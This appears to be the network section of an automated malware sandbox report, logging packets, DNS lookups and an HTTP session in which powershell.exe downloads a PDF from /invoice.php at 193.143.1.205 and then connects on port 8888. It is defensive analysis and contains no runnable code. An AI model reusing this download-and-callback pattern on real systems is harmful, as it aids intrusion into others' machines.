Jan 11, 2025 00:06:30.035332918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035363913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035586119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035607100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035618067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035629988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035645008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035645962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035659075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035665989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035676003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035686970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035691977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035701036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035712957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035722971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035728931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035738945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035787106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035787106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071266890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071288109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071297884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071307898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071325064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071335077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071352005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071352005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071363926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071382046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071391106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071396112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071405888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071415901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071422100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071441889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071448088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071456909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071469069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071480989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071491957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071501017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071511030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.071511984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.071541071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.085990906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086040020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086050987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086061001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086065054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086086035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086097956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086100101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086111069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086122036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086132050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086147070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086153984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086177111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086186886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086189032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086206913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086218119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086221933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086247921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086260080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086262941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.086271048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.086293936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124152899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124176979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124197960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124207973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124218941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124228954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124248028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124249935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124258995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124272108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124290943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124298096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124304056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124315977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124329090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124340057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124351978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124362946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124368906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124375105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124388933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124403954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124423981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124439001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124450922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124469042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124480009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124480009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124494076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124506950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124519110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124535084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124556065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124557018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124577045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124591112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124603987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124629974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124689102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124701977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124711990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124730110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124736071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124744892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124756098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124768019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124773026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124799013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124811888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124907017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124918938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124928951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124942064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124954939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.124955893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124989033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.124994993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125008106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125031948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125034094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125046015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125057936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125080109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125107050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125130892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125222921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125233889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125246048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125257015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125273943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125278950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125292063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125303030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125305891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125314951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125327110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125329018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125355959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125371933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125399113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125411034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125421047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125452995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125655890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125668049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125679016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125689983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125701904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125705957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125718117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125725031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125730991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125744104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125756025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.125766039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125791073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.125813007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129317045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129375935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129396915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129409075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129446030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129451990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129458904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129462004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129472971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129486084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129503965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129542112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129574060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129585981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129606962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129617929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129628897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129628897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129642963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129654884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129656076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129667044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129678965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129689932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129707098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129719973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129723072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129733086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129745007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129751921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129759073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129771948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.129774094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.129806042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.161875010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161912918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161923885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161936045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161951065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161952019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.161963940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.161992073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.162022114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.234075069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.238910913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.238930941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.238943100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.238957882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.238980055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239022017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239022970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239048004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239059925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239070892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239084959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239090919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239111900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239124060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239135027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239135027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239150047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239161968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239172935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239173889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239193916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239231110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239264965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239275932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239286900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239299059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239310980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239329100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239332914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239343882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239372969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239392996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239419937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239433050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239443064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239454031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239470005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239473104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239501953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239540100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239552975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239562988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239576101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239589930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.239593983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239622116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.239633083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.412870884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.419248104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.560271025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:31.029691935 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:31.034662008 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:31.034750938 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:31.034940958 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:31.039686918 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:31.846429110 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:31.892862082 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:33.233125925 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:06:38.507827044 CET	53348	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:06:38.507827044 CET	192.168.2.8	1.1.1.1	0xa0fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:06:38.516365051 CET	1.1.1.1	192.168.2.8	0xa0fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:06:39.228076935 CET	1.1.1.1	192.168.2.8	0xb95d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:39.228076935 CET	1.1.1.1	192.168.2.8	0xb95d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	3764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:06:28.623374939 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:06:29.428915977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:06:29.428936005 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:06:29.428947926 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
